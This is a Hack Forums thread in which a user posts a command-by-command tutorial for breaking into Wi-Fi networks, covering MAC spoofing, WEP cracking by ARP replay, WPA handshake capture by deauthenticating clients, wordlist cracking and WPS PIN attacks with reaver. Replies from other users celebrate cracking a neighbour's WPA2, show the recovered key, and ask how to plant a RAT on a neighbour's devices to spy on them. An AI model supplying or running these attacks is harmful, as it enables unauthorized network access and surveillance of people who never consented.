

Forum:[Hack Forums](#)

Thread: [The Ultimate Wireless Hacking Tutorial \[Links,Pictures\]](#)

sHyRe - July 20, 2013, 2:26 pm

What do i need for cracking Wireless Networks? :

Backtrack Linux (<http://www.backtrack-linux.org/>)

Brain

Computer

Commands

Wireless Card that supports packet injection

Wordlist/s for WPA/WPA2 Enrypted Networks

Which Wireless Cards are supported? :

Is My Wireless Card Compatible ?

http://www.aircrack-ng.org/doku.php?id=compatible_cards

Which is the best card to buy ?

http://www.aircrack-ng.org/doku.php?id=compatibility_drivers#which_is_the_best_card_to_buy

I recommend Alfa Wireless Cards

http://www.alfa.com.tw/products_list.php?pc=34

I use the following products without having any troubles :

[AWUS036NH](#)

[AWUS036NHA](#)

Where can i get Wordlists? :

[InsidePro](#)

[Packetstormsecurity](#)

[Skullsecurity](#)

[Alphabetic and numerical Wordlist Generator](#)

#

..

How do i install my Backtrack Linux ISO to a USB Drive/Stick? :

1. Open up <http://www.google.com/>
2. Search for 'UNetbootin'
3. Download the program
4. Connect your USB Drive/Stick to your Computer
5. Open the executable you dont have to install it because it is a portable version.
6. Follow the options in this picture

7. Select your Backtrack Linux Operating System ISO,USB Drive and press 'OK'

How do i boot the Backtrack Linux Operating System? :

1. Turn off your Compute

2. Connect your USB Drive/Stick to your Computer
3. Turn on your Computer and enter 'Boot Menu' or 'BIOS' by pressing F1,F2,DEL,ESC or F10
4. Change boot priority to USB Drive/Stick
5. Save BIOS Settings and reboot if necessary
6. Boot Backtrack Linux
7. When your Screen freezes/stands still enter the following to the command line : startx (This Command starts the GUI Graphical Interface)

8. You finally booted Backtrack Linux you're ready for Cracking Wireless Networks now

How do i change the Mac-Adress of my Wireless Card ? :

1. Open up the Terminal/Console/Command Prompt
2. Type in 'airmon-ng' to see your installed supported Wireless Card/s
Code airmon-ng
3. Type in 'ifconfig <interface> down' and press enter.
Code ifconfig <interface> down Code ifconfig wlan0 down
4. Type in 'macchanger --mac 00:11:22:33:44:55 <interface>' and press enter.
Code macchanger --mac 00:11:22:33:44:55 <interface>Code macchanger --mac 00:11:22:33:44:55 wlan0
5. Type in 'ifconfig <interface> up' and press enter.
Code ifconfig <interface> upCode ifconfig wlan0 up

alternative way

1. Type in 'ifconfig' and press enter.
Quote:ifconfig
2. Type in 'ifconfig <interface> down' and press enter.
Quote:ifconfig <interface> down
Quote:ifconfig wlan0 down
3. Type in 'macchanger -r <interface>' and press enter.
Quote:macchanger -r <interface>
Quote:macchanger -r wlan0
4. Type in 'ifconfig <interface> up' and press enter.
Quote:ifconfig <interface> up
Code ifconfig wlan0 up

How do i monitor/search for Wireless Networks in my area ? :

1. Type in 'airmon-ng' and press enter.
Code airmon-ng
2. Type in 'airmon-ng start <interface>' and press enter.
Code airmon-ng start <interface>Code airmon-ng start wlan0
3. Type in 'airodump-ng <interface>' and press enter.
Code airodump-ng <interface>Code airodump-ng mon0

Security difference between all Wireless encryptions:

WEP ([Wired Equivalent Privacy](#)) : easiest and weakest Encryption, needs no Wordlist to crack
WPA ([Wi-Fi Protected Access](#)) : middle and insecure Encryption, needs Wordlist to crack
WPA2 ([Wi-Fi Protected Access 2](#)) : hardest and strongest Encryption, needs Wordlist to crack

WEP<WPA<WPA2
WPA2>WPA>WEP

WEP ([Wired Equivalent Privacy](#)) Cracking :

1. Type in 'airmon-ng' and press enter.

Code airmon-ng

2. Type in 'airmon-ng start <interface>' and press enter.

Code airmon-ng start <interface>Code airmon-ng start wlan0

3. Type in 'airodump-ng <interface>' and press enter.

Code airodump-ng <interface>Code airodump-ng mon0

4. Type in 'airodump-ng --bssid 00:23:69:AB:B8:38 -c 11 -w WEP <interface>' and press enter.

--bssid = Macaddress of the Router you want to hack

-c = The Communication Channel of the Router you want to hack

-w = The Name of the Capture File for all recorded packets

Code airodump-ng --bssid 00:23:69:AB:B8:38 -c 11 -w WEP <interface>Code airodump-ng --bssid

00:23:69:AB:B8:38 -c 11 -w WEP mon0

5. Type in 'aireplay-ng --fakeauth 0 -a 00:50:F1:12:12:10 <interface>' and press enter.

Code aireplay-ng --fakeauth 0 -a 00:23:69:AB:B8:38 <interface>Code aireplay-ng --fakeauth 0 -a

00:23:69:AB:B8:38 mon0

6. Type in 'aireplay-ng --arpresplay -b 00:23:69:AB:B8:38 <interface>' and press enter.

Code aireplay-ng --arpresplay -b 00:23:69:AB:B8:38 <interface>Code aireplay-ng --arpresplay -b

00:23:69:AB:B8:38 mon0

7. After collecting more than 30.000 #Data packets you can start cracking the Capture File.

8. Type in 'aircrack-ng -b (bssid) (file name)-01.cap' and press enter.

Code aircrack-ng -b (bssid) (file name)-01.capCode aircrack-ng -b 00:23:69:AB:B8:38 WEP-01.cap

WPA/2 ([Wi-Fi Protected Access](#)) Cracking :

1. Type in 'airmon-ng' and press enter.

Code airmon-ng

2. Type in 'airmon-ng start <interface>' and press enter.

Code Bring your card/device in monitor mode with the following commandCode airmon-ng start

<interface>Code airmon-ng start wlan0

3. Type in 'airodump-ng <interface>' and press enter.

Code Searching for available Networks with WPA/WPA2 Encryption and connected Clients/Users

Code airodump-ng <interface>Code airodump-ng mon0

4. Type in 'airodump-ng --bssid 00:23:69:AB:B8:38 -c 11 -w Linksys <monitor-interface>' and press enter.

Code After you have found a Network start capturing Network traffic with the following command:

Code airodump-ng --bssid 00:23:69:AB:B8:38 -c 11 -w linksys <interface>Code airodump-ng --bssid

00:23:69:AB:B8:38 -c 11 -w linksys mon0

Red = Target Router

Green = Connected Target Client (Computer,Laptop,Iphone,Smartphone...)

5. Open a new TAB/Console and type in 'aireplay-ng --deauth 10 -a <bssid of access-point/router> -c <mac-address of client/user> <monitor-interface>

Code Open a new Console/Terminal tab and get the Handshake with the following Command:Code

aireplay-ng --deauth 10 -a 00:23:69:AB:B8:38 -c AC:72:89:47:D7:DB <monitor-interface>Code

aireplay-ng --deauth 10 -a 00:23:69:AB:B8:38 -c AC:72:89:47:D7:DB mon0

6. After we have found the Handshake we can continue with a dictionary attack / wordlist attack to find the password by entering the following Command 'aircrack-ng <filename-01.cap> -w <file path of wordlist>'

Quote:aircrack-ng <filename-01.cap> -w <file path of wordlist> //filepath not needed when wordlist saved in home folder

Quote:aircrack-ng linksys-01.cap -w Wordlist.lst

WPS ([Wi-Fi Protected Setup](#)) Cracking :

1. Bring your Wireless Card into the monitor mode.

2. Type in 'wash -i <interface>' and press enter.

Quote:wash -i <interface>

Code wash -i mon0

2. Type in 'reaver -i <interface> -b <BSSID> -vv' and press enter.

Code reaver -i <interface> -b <BSSID> -vvQuote:reaver -i mon0 -b 00:23:69:AB:B8:38 -vv

3. Type in 'reaver -i <interface> -c <Channelnumber> -b <BSSID> -S -L -vv' and press enter.

Quote:reaver -i <interface> -c <Channelnumber> -b <BSSID> -S -L -vv

Quote:reaver -i mon0 -c 11 -b 00:23:69:AB:B8:38 -S -L -vv

4. Type in 'reaver -i <interface> -c <Channelnumber> -b <BSSID> -p <PIN> -vv' and press enter.

Quote:reaver -i <interface> -c <Channelnumber> -b <BSSID> -p <PIN> -vv

Quote:reaver -i mon0 -c 11 -b 00:23:69:AB:B8:38 -p 12345678(Example) -vv

5. If you have any troubles/problems going through this steps feel free to enter 'reaver --help'.

Code reaver --help

Where are the Capture Files located/storaged at? :

All Capture Files are located at the Home Folder of Backtrack Linux.

You only have to open the Dolphin File Manager to see your files.

Where do i have to save my wordlists to use them with aircrack? :

Save all your needed wordlists to the Home Folder of Backtrack Linux by opening Dolphin Filemanager.

Hope you liked my Tutorial

?A™Machine - July 20, 2013, 2:27 pm

Thanks a huge bunch dude, I'll be sure to +rep tomorrow.

PinkPanther - July 20, 2013, 2:33 pm

Now that really is a nicely laid out tutorial.

sHyRe - July 20, 2013, 2:47 pm

Thanks for the positive feedback <3

Sk8eR_PR - July 20, 2013, 3:49 pm

I just rated your tutorial with 5 stars!

Good job!

sHyRe - July 20, 2013, 4:09 pm

(Jul 20, 2013 03:49 PM)Sk8eR_PR Wrote: [\[CITE\]](#) I just rated your tutorial with 5 stars!

Good job!

Thank you for doing this the thread is not in the final stage now i will make it better within the next 24h

Rafe_D - July 20, 2013, 5:11 pm

Well done mate. I thought that was a pretty nice tut.

Don't wait too long to edit it or you won't be able to. There's a 1448 character or xx hours limit for regular members.

TheGrayAviator - July 20, 2013, 9:16 pm

I can see you've put some time and effort into writing this tutorial.

Well done mate!

eddie68 - July 20, 2013, 10:04 pm

Ho there ... I think I was ignored for posting this on the wrong string, or maybe it was considered hijacking the string. Based on the messages below, is this the Tool I'm looking for to do what I want to do?

Really looking for my hand to be held here please? And thank you in advance!

--

Original post: Hello ... I have access to my neighbor's router, so I have their IP addresses and MAC addresses for their computers and phones. I don't want CCs. I just want to be able to drop a RAT in there without having to go through the trouble of faking e-mails and/or getting the RAT crypted. (Crypting a RAT seems WAY too complicated, and the threat of someone piggybacking is just too much.)

Is there anything I can do with the info I have? I can only connect to his router remotely, wireless adapter. How do I configure Metasploit, for example, to be able to do what Metasploit does?

Anybody wanna take me under their wing and walk me through this ... and share in the spoils? Again ... no CCs. I'm just looking to RAT, and be a nosy, peeping-tom perv.

-OSk

07-17-2013, 08:55 PM

Post: #22

Egypt_Hack3r Online

Gamma **

Prestige: 14

Posts: 301

Joined: Jan 2013

Reputation: 11

download netcut or hack their FB by Backtrack 5

07-18-2013, 12:34 AM

Post: #23

eddie68 Offline

Alpha

Prestige: 0

Posts: 14

Joined: Oct 2012

Reputation: 0

Warning Level: 0%

Cool. Thanks, Egypt. Haven't heard those two before, so I'll look into them.

I wanted to add that I *do have full access to the computer hardwired to their modem. If I drop a black comet (?) RAT on it, will it replicate across their network to laptops connected wirelessly, for example?

-OSk

sHyRe - July 31, 2013, 8:32 am

(Jul 20, 2013 05:11 PM)Rafe_D Wrote: [\[CITE\]](#) Well done mate. I thought that was a pretty nice tut. Don't wait to long to edit it or you wont be able to. There's a 1448 character or xx hours limit for reg member's.

(Jul 20, 2013 09:16 PM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) I can see you've put some time and effort into writing this tutorial.

Well done mate!

Thanks for the positive feedbacks guys.

yacked2 - July 31, 2013, 1:43 pm

Nice written, but there is already a ton of tutorial's like that.

Rangers. - August 3, 2013, 8:13 pm

Help me Guys whn i type

"airmon-ng" in backtrack5r3 its show

"Interface Chipset Driver " below this the number show be displaced but its not showming any thing how to solve it i have compaq c700 change from vista to windows 7 is thr any way to solve this out ..?

thq in advance

sHyRe - August 5, 2013, 4:43 am

(Aug 3, 2013 08:13 PM)vasishtthunga Wrote: [\[CITE\]](#) Help me Guys whn i type

"airmon-ng" in backtrack5r3 its show

"Interface Chipset Driver " below this the number show be displaced but its not showming any thing how to solve it i have compaq c700 change from vista to windows 7 is thr any way to solve this out ..?

thq in advance

It seems that your Wireless Card isn't supported with Backtrack.

Have a look at this Links

http://www.aircrack-ng.org/doku.php?id=compatible_cards

http://www.aircrack-ng.org/doku.php?id=compatibility_drivers#which_is_the_best_card_to_buy

I recommend the following Alfa Wireless Cards.

AWUS036NH

AWUS036NHA

http://www.alfa.com.tw/products_list.php?pc=34

sonic208 - August 5, 2013, 5:27 am

what does this basically do, does this bruteforce the password ??

sHyRe - August 10, 2013, 8:18 am

(Aug 5, 2013 05:27 AM)sonic208 Wrote: [\[CITE\]](#) what does this basically do, does this bruteforce the password ??

This tutorial shows you how to capture wireless data packets and allows you to crack the encryption key.

I wouldn't call it bruteforcing i would say it is data analysis.

The Bruteforce method would try every possibility of all numbers and characters.

Emoclaw - August 10, 2013, 1:21 pm

No this is not BruteForcing at all, BruteForce would be very slow.

It would take 10 seconds for each 'TryToGuess'

Spymonkey14 - August 13, 2013, 12:31 pm

(Aug 5, 2013 04:43 AM)sHyRe Wrote: [\[CITE\]](#) It seems that your Wireless Card isn't supported with Backtrack.

Have a look at this Links

http://www.aircrack-ng.org/doku.php?id=compatible_cards

http://www.aircrack-ng.org/doku.php?id=compatibility_drivers#which_is_the_best_card_to_buy

I recommend the following Alfa Wireless Cards.

AWUS036NH

AWUS036NHA

http://www.alfa.com.tw/products_list.php?pc=34

He's not American, so I don't think he would understand.

Also, he's not much of a tech person.

sHyRe - September 8, 2013, 11:14 am

(Aug 13, 2013 12:31 PM)Spymonkey14 Wrote: [\[CITE\]](#) He's not American, so I don't think he would understand.

Also, he's not much of a tech person.

He can use google - translator to understand my message.

I'll answer to all questions not only to americans.

bloodyprince - September 12, 2013, 4:34 am

Amazing tutorial & explanation :) Thanks

sHyRe - September 12, 2013, 1:21 pm

(Sep 12, 2013 04:34 AM)bloodyprince Wrote: [\[CITE\]](#) Amazing tutorial & explanation :) Thanks

Thanks for the positive feedback I appreciate it.

sHyRe - September 27, 2013, 6:05 pm

(Jul 31, 2013 01:43 PM)jacked2 Wrote: [\[CITE\]](#) Nice written, but there is already a ton of tutorial's like that.

This is true but i wanted to write my own tutorial about wireless hacking.
It's always good to contribute something to the community.

blk_zer0 - September 27, 2013, 9:20 pm

Isn't it easier to just use wifite or you guys like ding it manually

PinkPanther - September 27, 2013, 9:43 pm

(Sep 27, 2013 09:20 PM)blk_zer0 Wrote: [\[CITE\]](#) Isn't it easier to just use wifite or you guys like ding it manually

Man I totally respect g0tmi1k, but have you ever went through the source code to wifite?

TheGrayAviator - September 27, 2013, 9:50 pm

Wifite is a good utility if you are in a hurry, but I can see it's got some really good use.

I think all the noobs and skids out there, will love this utility.

Not that I won't like it, but I prefer to know what I am typing and doing.

blk_zer0 - September 27, 2013, 10:01 pm

I use it because i need a connection established right away. I know that its better to know what you are tying and i do just that with everything except getting wifi, its just a nuisance to me i guess. The tutorial is great and easy to understand. I actually followed these exact steps when i cracked my first wifi connection.

jakoozie - September 29, 2013, 8:20 am

Thanks very much for this tutorial. You know other wireless card like Pen USB compatible with Kali or BackTrack?

sHyRe - October 11, 2013, 7:10 pm

(Sep 27, 2013 10:01 PM)blk_zer0 Wrote: [\[CITE\]](#) I use it because i need a connection established right away. I know that its better to know what you are tying and i do just that with everything except getting wifi, its just a nuisance to me i guess. The tutorial is great and easy to understand. I actually followed these exact steps when i cracked my first wifi connection.

Thanks for the positive feedback.

kind regards , sHyRe

TheCyb3rAlpha - October 12, 2013, 2:45 am

Good work mate !!

keep 'em coming :)

sHyRe - October 26, 2013, 8:53 am

(Oct 12, 2013 02:45 AM)zircanavo_abyss Wrote: [\[CITE\]](#) Good work mate !!

keep 'em coming :)

Thanks for the positive feedback.

kind regards, sHyRe

sHyRe - November 11, 2013, 8:39 am

(Sep 29, 2013 08:20 AM)jakoozie Wrote: [\[CITE\]](#) Thanks very much for this tutorial. You know other wireless card like Pen USB compatible with Kali or BackTrack?

Thanks for the positive feedback. .

?KinG? - November 11, 2013, 10:10 am

for this i have to install the backtrack fast?

SIM-830315 - November 11, 2013, 10:58 am

thanks for this tutorial, love backtrack :)

Birnie185 - November 11, 2013, 12:04 pm

(Nov 11, 2013 11:10 AM)Tom Cruise Wrote: [\[CITE\]](#) for this i have to install the backtrack fast?

You can install any Linux distribution. It's just backtrack/Kali has these tools built in so you don't have to install them.

sHyRe - November 25, 2013, 1:57 am

(Nov 11, 2013 11:10 AM)Tom Cruise Wrote: [\[CITE\]](#) for this i have to install the backtrack fast?

Yes in order to use this tutorial you have to download backtrack linux.

kind regards , sHyRe

(Nov 11, 2013 11:58 AM)C4alex Wrote: [\[CITE\]](#) thanks for this tutorial, love backtrack :)

Thanks for the positive feedback C4alex.

kind regards , sHyRe

mansome333 - December 5, 2013, 4:31 pm

I have the same exact Network card but when i do airmon-ng nothing comes up i checked and connected everything but wont work for some reason help please?

Iv got it going but how do i get a word list on backtrack...

JimmyNeutron - December 6, 2013, 12:06 am

looks good installing/testing as i type this

3xertion - December 7, 2013, 8:07 am

This tutorial looks awesome! Been searching around for some time now and this one seems to be the best one I have come across yet so big thanks to the person who took the time to make a REAL Tutorial! Anyways to my question, can this tutorial be followed step by step using a Windows 7 computer?

sHyRe - December 7, 2013, 8:22 am

(Dec 7, 2013 09:07 AM)3xertion Wrote: [\[CITE\]](#) This tutorial looks awesome! Been searching around for some time now and this one seems to be the best one I have come across yet so big thanks to the person who took the time to make a REAL Tutorial! Anyways to my question, can this tutorial be followed step by step using a Windows 7 computer?

Thanks for your positive feedback.

Question : Can this tutorial be followed step by step using a Windows 7 computer?

Answer : No , you have to download Linux Backtrack to use my tutorial.

The listed commands only work with Linux Backtrack.

Solution : It is possible to create a virtual machine on your running Windows 7 Operating System.

All you need:

Vmware (Program to create virtual machines with isos)

Backtrack Linux ISO

kind regards, sHyRe

mansome333 - December 7, 2013, 11:59 pm

I got it all working thanks for the tutorial nice work on it!

sHyRe - December 23, 2013, 2:48 pm

(Dec 8, 2013 12:59 AM)mansome333 Wrote: [\[CITE\]](#) I got it all working thanks for the tutorial nice work on it!

Nice to hear this. Thanks for the positive feedback

tayjin3 - December 23, 2013, 4:17 pm

Thanks guys its sooo awesome :D

I like it!

sHyRe - December 30, 2013, 7:11 am

(Dec 23, 2013 05:17 PM)tayjin3 Wrote: [\[CITE\]](#) Thanks guys its sooo awesome :D

I like it!

:D Thanks for the feedback.

You had success?

sHyRe - January 11, 2014, 3:18 am

(Dec 6, 2013 01:06 AM)JimmyNeutron Wrote: [\[CITE\]](#) looks good installing/testing as i type this
Thanks for the positive feedback. ..

(Dec 6, 2013 01:06 AM)JimmyNeutron Wrote: [\[CITE\]](#) looks good installing/testing as i type this
Thanks for the positive feedback. ..

!doublepostbug!

sHyRe - January 20, 2014, 3:37 pm

Thanks for the positive feedback I appreciate it.

himmlerthird - January 21, 2014, 2:24 pm

Nice and fully explained tutorial. Thanks bro

sHyRe - January 26, 2014, 1:37 pm

(Jan 21, 2014 03:24 PM)himmlerthird Wrote: [\[CITE\]](#) Nice and fully explained tutorial. Thanks bro
Thanks for the positive feedback himmlerthird.

kind regards, sHyRe

WiZzi - January 26, 2014, 10:06 pm

Tested this on my own network..worked!

vivalentino - January 27, 2014, 12:17 am

This is good tut. Thanks, fav. this

kk7777 - January 27, 2014, 8:32 am

excellent tutorial. thanks a lot. It help me a lot :)

kaiwan - January 30, 2014, 3:12 pm

Thank you for doing this the thread...

Kurd-Boy - January 31, 2014, 5:49 am

:? what is that can you tell me more about it if you can please help me

YeAt - February 1, 2014, 4:39 pm

Thank you for this tutorial dude. Just cracked my neighbors WPA2 with the rockyou word list in 2 minutes! Lmao. Aircrack-ng 1.1 r2076

[00:02:32] 31928 keys tested (220.97 k/s)

KEY FOUND! [courtney13]

Master Key : 98 35 38 6F 5C 07 03 83 8E 1B 11 C4 0D 66 38 3B
69 9A D7 86 2B FE 1C 55 F2 26 E5 51 FF 24 73 F5

Transient Key : 93 F8 CD FA E7 92 DE 9A DB 24 26 A2 FC 8D 49 02
02 EA 0E 7E 67 07 06 0D DA 75 2A 64 D3 69 30 C2
5C F9 5A 28 E6 AB 08 8F 5C 0A 63 EF 98 D2 A9 0F
C7 96 83 09 1E 3A 34 1C C3 C8 72 7B DD FC 1E 0E

EAPOL HMAC : A8 28 B2 27 22 0C 87 2D DC 0F 04 3E 21 F4 0A 8F
root@bt:~#

How is this even possible? Omg. Lmao.

sHyRe - February 3, 2014, 8:35 am

(Feb 1, 2014 05:39 PM)revi Wrote: [\[CITE\]](#) Thank you for this tutorial dude. Just cracked my neighbors WPA2 with the rockyou word list in 2 minutes! Lmao. Aircrack-ng 1.1 r2076

[00:02:32] 31928 keys tested (220.97 k/s)

KEY FOUND! [courtney13]

Master Key : 98 35 38 6F 5C 07 03 83 8E 1B 11 C4 0D 66 38 3B
69 9A D7 86 2B FE 1C 55 F2 26 E5 51 FF 24 73 F5

Transient Key : 93 F8 CD FA E7 92 DE 9A DB 24 26 A2 FC 8D 49 02
02 EA 0E 7E 67 07 06 0D DA 75 2A 64 D3 69 30 C2
5C F9 5A 28 E6 AB 08 8F 5C 0A 63 EF 98 D2 A9 0F
C7 96 83 09 1E 3A 34 1C C3 C8 72 7B DD FC 1E 0E

EAPOL HMAC : A8 28 B2 27 22 0C 87 2D DC 0F 04 3E 21 F4 0A 8F
root@bt:~#

How is this even possible? Omg. Lmao. (Much luck with that wordlist)
I am glad that you had success. ?

kind regards , sHyRe

-Siripak- - February 3, 2014, 1:50 pm

Thanks nice tut here. Keep up the good work

sHyRe - February 6, 2014, 12:04 pm

(Jan 31, 2014 06:49 AM)Kurd-Boy Wrote: [\[CITE\]](#) :? what is that can you tell me more about it if you can please help me
Could you be more specific?
What do you want to know?

nubmerk - February 6, 2014, 5:58 pm

Wow this is really in-depth keep up the great work

grotti - February 6, 2014, 7:27 pm

Very good tutorial, finally a reason to boot up my BackTrack VM!

sHyRe - February 11, 2014, 1:17 pm

(Feb 6, 2014 06:58 PM)nubmerk Wrote: [\[CITE\]](#) Wow this is really in-depth keep up the great work
Thanks for your positive feedback!

kind regards , sHyRe

Strikershocks - February 12, 2014, 5:58 am

Great Work its a very good tutorial and is easy to understand :)
Keep your good work up.

Silent_heart - February 13, 2014, 10:51 pm

gooooood job, thanks for posting it, i thnk this will b very helpful and also increase our knowledge

sHyRe - February 17, 2014, 11:39 am

(Feb 12, 2014 06:58 AM)Strikershocks Wrote: [\[CITE\]](#) Great Work its a very good tutorial and is easy to understand :)
Keep your good work up.
Thanks for the positive feedback.

kind regards , sHyRe

mayank_predator - February 19, 2014, 6:06 am

So , in a nutshell if I have the compatible wireless alpha adapter, recommended drivers , wordlists and backtrack installed I can crack any wi-fi network's password. Does the wireless router/modem needs to be compatible or does it needs any specific features for deauth handshakes. What if the router running the wireless network i.e the target AP is flawless and does not allow deauth handshakes?

Staganos - February 22, 2014, 5:20 am

Nice tutorial keep up the good work.
Cracked my 1st wireless network with this tut

breathcloth - February 22, 2014, 5:16 pm

Great guide! this really taught me alot!

sHyRe - March 21, 2014, 10:31 am

(Feb 22, 2014 06:20 AM)Staganos Wrote: [\[CITE\]](#) Nice tutorial keep up the good work.
Cracked my 1st wireless network with this tut
Thanks for the positive feedback.
kind regards , sHyRe

JackChitt - March 21, 2014, 11:08 am

I usually don't look at WiFi hacking tutorials normally but I must say this one is noob proof in the common sense status. If you can read basic English, type a few commands and follow instructions NO ONE should have any problems.. I would add a small disclaimer that if you are lacking a decent graphics card then cracking via dictionary is going to be slow, painful and you likely will never crack the pw. Most people that will be reading this will think that when they complete their attack they will automatically have the pw. Not that it has to be in their list to crack the handshake. Also I would suggest a good cracking service to ease the pain. :)

sHyRe - April 15, 2014, 11:33 am

(Mar 21, 2014 11:08 AM)JackChitt Wrote: [\[CITE\]](#) I usually don't look at WiFi hacking tutorials normally but I must say this one is noob proof in the common sense status. If you can read basic English, type a few commands and follow instructions NO ONE should have any problems.. I would add a small disclaimer that if you are lacking a decent graphics card then cracking via dictionary is going to be slow, painful and you likely will never crack the pw. Most people that will be reading this will think that when they complete their attack they will automatically have the pw. Not that it has to be in their list to crack the handshake. Also I would suggest a good cracking service to ease the pain. :)

Thanks for your feedback Jack

I am going to change and add some things, when i upgraded my membership (currently regular member)

isoviacy - April 15, 2014, 11:42 am

posting here i might need this soon :) looks awesome!

doomzhou - April 15, 2014, 9:33 pm

Hi sHyRe

===

my test ap cannot respond when i use `aireplay-ng -0 1 -a ap mac -c client mac mon0`

64 bytes from 203.208.40.148: icmp_seq=136 ttl=56 time=17.5 ms

ping: sendmsg: Network is unreachable

ping: sendmsg: Network is unreachable

ping: sendmsg: Network is unreachable

after aireplay-ng -0 1 -a ap mac -c client mac mon0

i still connected test ap ...but i cannot generate handshake

teeeko_80 - April 16, 2014, 5:44 am

thank 4 sharing that me

big vouch realy

jayvee - May 4, 2014, 1:29 am

very great tutorial. I've searched for something like this and will read it

hannibalthecannibal - May 6, 2014, 2:01 am

didn't read through all the comments, but... if you don't feel confident about your wordlists guys, you can use a cloud services to crack the .cap for you. most of them are paid service, of course. but if you are really committed to crack it.. ?

Hacktivist69 - May 6, 2014, 10:07 pm

very nice tutorial, im going to have to get a usb network adapter to do any cracking sadly :c

sark89 - May 7, 2014, 3:23 pm

Really nice tut! I did a similar one using kali. You've got far more replies than I ever did :(

uhartem - May 7, 2014, 4:13 pm

Extremely helpful tutorial. You put a lot of time / effort in this thread. Thank you!

zezap - May 8, 2014, 12:11 pm

thats a great tut..5 stars 4 it ?

Elahi52523 - May 22, 2014, 12:59 am

Looking great/////

Thanks man

i will check it later

Gatot Kaca - May 22, 2014, 4:28 pm

your awesome mate. im on step number 3.

il bookmark this one later.

thanks op. ?

sHyRe - May 29, 2014, 7:57 am

(May 22, 2014 04:28 PM)John Mayer Wrote: [\[CITE\]](#) your awesome mate. im on step number 3.

il bookmark this one later.

thanks op. ?

Thanks for the positive feedback john

sHyRe - June 2, 2014, 6:58 am

(May 4, 2014 01:29 AM)jayvee Wrote: [\[CITE\]](#) very great tutorial. I've searched for something like this and will read it

Thanks for the positive feedback , jayvee !

sHyRe - June 7, 2014, 9:00 am

(May 7, 2014 04:13 PM)Rockyy_ Wrote: [\[CITE\]](#) Extremely helpful tutorial. You put a lot of time / effort in this thread. Thank you!

Thanks for the positive feedback , Rockyy_ !

Rackzen - June 7, 2014, 9:51 am

Saw this tutorial before and forgot to post!

Very nice tutorial man!

Very well explained etc, nice job.

sHyRe - June 9, 2014, 7:44 am

(Jun 7, 2014 09:51 AM)Rackzen Wrote: [\[CITE\]](#) Saw this tutorial before and forgot to post!

Very nice tutorial man!

Very well explained etc, nice job.

Thanks for the positive feedback , Rackzen

really appreciate it

klemmett - June 9, 2014, 2:32 pm

It's years since I used Backtrack to steal WiFi (and I was too stupid to cover my tracks much then), but this tutorial has been a great security reminder.

rami31 - June 9, 2014, 4:07 pm

Oh Thanks That is Usefull :)

But I Prefere Wifite It So Easy :D

sHyRe - June 12, 2014, 6:30 pm

(Jun 9, 2014 02:32 PM)klemmett Wrote: [\[CITE\]](#) It's years since I used Backtrack to steal WiFi (and I was too stupid to cover my tracks much then), but this tutorial has been a great security reminder. Thanks for the positive feedback , klemmett !

sHyRe - June 16, 2014, 11:04 am

(Jun 9, 2014 04:07 PM)rami31 Wrote: [\[CITE\]](#) Oh Thanks That is Usefull :)

But I Prefere Wifite It So Easy :D

Thanks for the positive feedback , rami31 !

kind regards , sHyRe

leBandit - June 16, 2014, 9:09 pm

great tutorial! easy to follow and it is extremely helpful. thanks bro!

sheheryar19 - June 16, 2014, 10:47 pm

damn seems great so far that i have read. Going to try it out tomorrow

sHyRe - June 20, 2014, 8:34 am

(Jun 16, 2014 09:09 PM)leBandit Wrote: [\[CITE\]](#) great tutorial! easy to follow and it is extremely helpful. thanks bro!

Thanks for the positive feedback , leBandit !

kind regards , sHyRe

sHyRe - July 11, 2014, 7:41 am

(Jun 16, 2014 10:47 PM)sheheryar19 Wrote: [\[CITE\]](#) damn seems great so far that i have read. Going to try it out tomorrow

Thanks for the positive feedback , sheheryar19

kind regards, sHyRe

Micronic - July 20, 2014, 10:21 am

Great Tutorial! I will definitely try this

sHyRe - July 29, 2014, 8:56 am

(Jul 20, 2014 10:21 AM)Micronic Wrote: [\[CITE\]](#) Great Tutorial! I will definitely try this

Thanks for the positive feedback!

kind regards , sHyRe

kindoskinporche - August 4, 2014, 5:15 pm

the leach of the leach of the another leach .

?

ZEKANOSMOKE - August 4, 2014, 8:09 pm

were using back-track for some years now to crack wep, wpa. macchanger is a must! always use this command if hacking your next door.

PussyDestroyer - August 5, 2014, 8:11 am

Hey guys! Will it work on Kali Linux ?

sHyRe - August 5, 2014, 8:26 am

(Aug 5, 2014 08:11 AM)PussyDestroyer Wrote: [\[CITE\]](#) Hey guys! Will it work on Kali Linux ?
Yes you can also use this Tutorial with Kali Linux.

Kali is the reactivated Backtrack Project.

kind regards , sHyRe

Hidden™ - August 5, 2014, 8:28 am

Great tutorial, this should be stickied.

sHyRe - August 5, 2014, 8:31 am

(Aug 5, 2014 08:28 AM)The Entrepreneur Wrote: [\[CITE\]](#) Great tutorial, this should be stickied.
Thanks for your positive feedback , The Entrepreneur.

I really appreciate it.

kind regards , sHyRe

jordan252 - August 5, 2014, 10:38 am

fantastic tutorial it relay help me out thank you

PussyDestroyer - August 5, 2014, 11:07 am

Hey after I write airmon -ng it says bush: airmon: no command found Can somebody help me ?

Shi5kum - August 5, 2014, 3:50 pm

I can't retrieve the handshake I've tried redoing the ((aireplay-ng --deauth 10 -a 00:23:69:AB:B8:38 -c AC:72:89:47:D7:DB mon0)) step a million times with no results.. Any workaround??

And what does Channel negative one mean?

Shi5kum - August 7, 2014, 7:19 am

Up because this Tut is awesome, and should be stickied as well..

nadeemnade - August 8, 2014, 8:21 am

BackTrack Linux is no longer being maintained !?

chodecakes - August 8, 2014, 12:35 pm

Hello since backtrack 5's downloads are discontinued, and I would rather not risk downloading one found on a random torrent, would KALI work as well?

sHyRe - August 8, 2014, 1:37 pm

(Aug 8, 2014 12:35 PM)chodecakes Wrote: [\[CITE\]](#) Hello since backtrack 5's downloads are discontinued, and I would rather not risk downloading one found on a random torrent, would KALI work as well?

Yes Kali Linux is providing you the same software , you can use it with this tutorial.

kind regards , sHyRe

xxMafia101 - August 11, 2014, 3:41 pm

Very very nice! I am posting to keep track of this and will try it soon. ?

Mad76e - August 12, 2014, 8:33 am

Looking good:)

However If you change all BT5 pics to Kali pics im going to give you one more + rep.. else there's no difference between them but Kali image looks more up to date

mony123 - August 19, 2014, 1:24 pm

Yes Exactly... I Wish (not only this thread) all the threads update their pics and some of their commands to Kali Linux... and even those fake ap tutorials too :)

Keith Ape - August 19, 2014, 7:27 pm

You accidentally put a parentheses after the link to get BackTrack.
Just saying, you put it as part of the text!

sHyRe - August 21, 2014, 6:26 am

(Aug 19, 2014 07:27 PM)Hawaii Five-0 Wrote: [\[CITE\]](#) You accidentally put a parentheses after the link to get BackTrack.

Just saying, you put it as part of the text!

